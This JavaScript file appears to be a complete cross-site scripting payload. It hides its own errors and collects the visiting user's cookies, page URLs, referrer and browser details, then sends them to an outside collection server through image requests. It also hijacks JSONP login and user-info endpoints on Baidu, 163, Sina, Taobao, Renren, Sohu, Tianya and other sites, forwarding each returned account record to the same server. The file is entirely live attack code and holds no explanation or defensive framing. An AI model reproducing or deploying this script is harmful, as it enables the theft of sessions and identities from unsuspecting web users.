window . onerror = function (){
return true ;
}
http_server = "http://lemon.1nlab.com/index.php?do=api&id=lemon&content=" ;
var info = {};
info . browser = function (){
ua = navigator . userAgent . toLowerCase ();
var rwebkit = /( webkit )[ \/ ]([ \w .]+)/;
var ropera = /( opera )(?:.* version )?[ \/ ]([ \w .]+)/;
var rmsie = /( msie ) ([ \w .]+)/;
var rmozilla = /( mozilla )(?:.*? rv :([ \w .]+))?/;
var match = rwebkit . exec ( ua ) ||
ropera . exec ( ua ) ||
rmsie . exec ( ua ) ||
ua . indexOf ( "compatible" ) < 0 && rmozilla . exec ( ua ) ||
[];
return {
name : match [ 1 ] || "" , version : match [ 2 ] || "0"
};
}();
info . url = document . location . href ;
info . ua = escape ( navigator . userAgent );
info . lang = navigator . language ;
info . referrer = document . referrer ;
info . location = window . location . href ;
info . toplocation = top . location . href ;
info . cookie = escape ( document . cookie );
info . domain = document . domain ;
info . title = document . title ;
info . screen = function (){
var c = "" ;
if ( self . screen ) {
c = screen . width + "x" + screen . height ;
}
return c ;
}();
info . flash = function (){
var f = "" , n = navigator ;
if ( n . plugins && n . plugins . length ) {
for ( var ii = 0 ; ii < n . plugins . length ; ii ++) {
if ( n . plugins [ ii ]. name . indexOf ( 'Shockwave Flash' )!=- 1 ) {
f = n . plugins [ ii ]. description . split ( 'Shockwave Flash ' )[ 1 ];
break ;
}
}
}
else
if ( window . ActiveXObject ) {
for ( var ii = 10 ; ii >= 2 ; ii --) {
try {
var fl = eval ( "new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + ii + "');" );
if ( fl ) {
f = ii + '.0' ;
break ;
}
}
catch ( e ) {}
}
}
return f ;
}();
function inj_script ( a , b ) {
var o = document . createElement ( "script" );
o . src = a ;
if ( b ) {
if (! window . ActiveXObject ) {
o . onload = b ;
}
else {
o . onreadystatechange = function () {
if ( o . readyState == 'loaded' || o . readyState == 'complete' ) {
b ();
}
}
}
}
document . getElementsByTagName ( "body" )[ 0 ]. appendChild ( o );
return o ;
}
function json2str ( o ) {
if ( typeof o == 'string' ) return o ;
var arr = [];
var fmt = function ( s ) {
if ( typeof s == 'object' && s != null ) return json2str ( s );
return /^( string | number ) $ /. test ( typeof s ) ? "'" + s + "'" : s ;
}
for ( var i in o ) arr . push ( "'" + i + "':" + fmt ( o [ i ]));
return '{' + arr . join ( ',' ) + '}' ;
}
video_login_callback = function ( o ){
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=baidu" ;
}
e163_comment = function ( o ){
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=163" ;
}
sina_1368631232407449 = function ( o ){
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=sina" ;
}
loginInfoJson = function ( o ){
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=taobao" ;
}
jsonp1368705676193 = function ( o ){
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=mop" ;
}
jsonp1368751970360 = function ( o ){
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=dangdang" ;
}
jQuery1368758656634 = function ( o ){
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=renren" ;
}
window . onload = function (){
new Image (). src = http_server + escape ( json2str ( info )) + "&content2=info%20" ;
try {
inj_script ( 'http://baike.baidu.com/api/login/?callback=video_login_callback' );
}
catch ( e ){}
try {
inj_script ( 'http://comment.money.163.com/reply/check.jsp?time=1367240961474&callback=e163_comment' );
}
catch ( e ){}
try {
inj_script ( 'http://i.house.sina.com.cn/sso/get_cookie.php?callback=sina_1368631232407449' );
}
catch ( e ){}
try {
inj_script ( 'http://i.bendi.taobao.com/userLoginInfo.do?callback=loginInfoJson&t=1368683974713' );
}
catch ( e ){}
try {
inj_script ( 'http://passport.mop.com/common/user-info?callback=jsonp1368705676193' );
}
catch ( e ){}
try {
inj_script ( 'http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=jsonp1368751970360' );
}
catch ( e ){}
try {
inj_script ( 'http://passport.game.renren.com/user/info?callback=jQuery1368758656634&_=1368758656639' );
}
catch ( e ){}
try {
inj_script ( 'http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278' );
}
catch ( e ){}
try {
inj_script ( 'http://www.tianya.cn/api/msg?method=messagesys.selectmessage?ms.pageSize=1?ms.pageNo=1&_=1368893252433&var=tianya_msg' );
}
catch ( e ){}
setTimeout ( function (){
var o = [ _passport ];
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=sohu" ;
}
, 3000 );
setTimeout ( function (){
var o = tianya_msg . data . list [ 0 ]. toUserName + '|' + tianya_msg . data . list [ 0 ]. toUserId ;
new Image (). src = http_server + escape ( json2str ( o )) + "&content2=tianya" ;
}
, 5000 );
};